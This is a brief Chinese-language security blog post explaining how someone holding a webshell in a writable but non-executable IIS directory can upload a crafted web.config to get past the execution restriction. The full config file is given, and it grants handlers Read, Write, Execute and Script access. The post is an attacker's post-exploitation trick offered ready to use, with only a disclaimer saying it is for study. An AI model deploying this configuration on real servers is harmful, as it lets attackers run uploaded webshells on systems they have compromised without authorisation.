通过Web.config突破iis不能执行

  • A+
所属分类:安全博客
摘要

Web.configiis执行 有时候拿到weshell可能是个可读写的目录里但是无法执行脚本, 我们可以通过上传特殊的 web.config 来突破执行限制.

Web.configiis执行

前言

有时候拿到weshell可能是个可读写的目录里但是无法执行脚本, 我们可以通过上传特殊的 web.config 来突破执行限制.

web.config

<?xml version="1.0" encoding="utf-8"?> <configuration>     <system.webServer>         <handlers accessPolicy="Read, Write, Execute, Script" />     </system.webServer> </configuration> 

来源:http://www.safe6.cn/

本文由 safe6 创作,著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

通过Web.config突破iis不能执行

本站的所有程序和文章,仅限用于学习和研究目的;不得用于商业或者非法用途,否则,一切后果请用户自负!! 最后编辑时间为: 2019-10-10

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: